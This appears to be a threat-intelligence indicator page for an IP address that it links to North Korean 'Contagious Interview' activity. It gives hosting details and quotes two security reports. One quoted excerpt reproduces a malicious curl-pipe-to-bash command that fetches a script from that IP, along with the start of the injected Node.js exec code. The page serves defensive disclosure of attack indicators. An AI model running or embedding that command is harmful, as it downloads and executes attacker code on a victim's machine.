89.36.224.5
89.36.224.5 is an IP address
that 2 published sources report
in connection with Contagious Interview activity, which public reporting
attributes to North Korea (DPRK).
It is cited here from Decryption Digest and Wiz.
The earliest of those reports is dated 2026-05-27 and the most recent 2026-05-28.
ip address Contagious Interview MATCHED IN SOURCE
Network
| Kind | proxy or VPN |
|---|---|
| Network | M247 Europe SRL |
| Announced by | AS9009 M247 Europe SRL |
| Country | Romania |
| Flags | hosting range, known proxy or VPN |
Sources
-
…The payload is fetched from delivery domains including apple.driver-store.com (resolving to 89.36.224.5), apple.driver-update.io, and driver-updater.net. Phase 4: Automated credential exfiltration.…
JINX-0164 Cryptocurrency Malware: AUDIOFIX Wallet Theft (2026) — Decryption Digest -
…industry, making it an attractive target. The addition to index.js (below) decodes to nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1 'use strict' const {exec} = require ( 'child_process' ); exec( ` echo…
Commit to Compromise: A New Threat Actor Targeting the Cryptocurrency Industry's Software Development Infrastructure — Wiz
Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.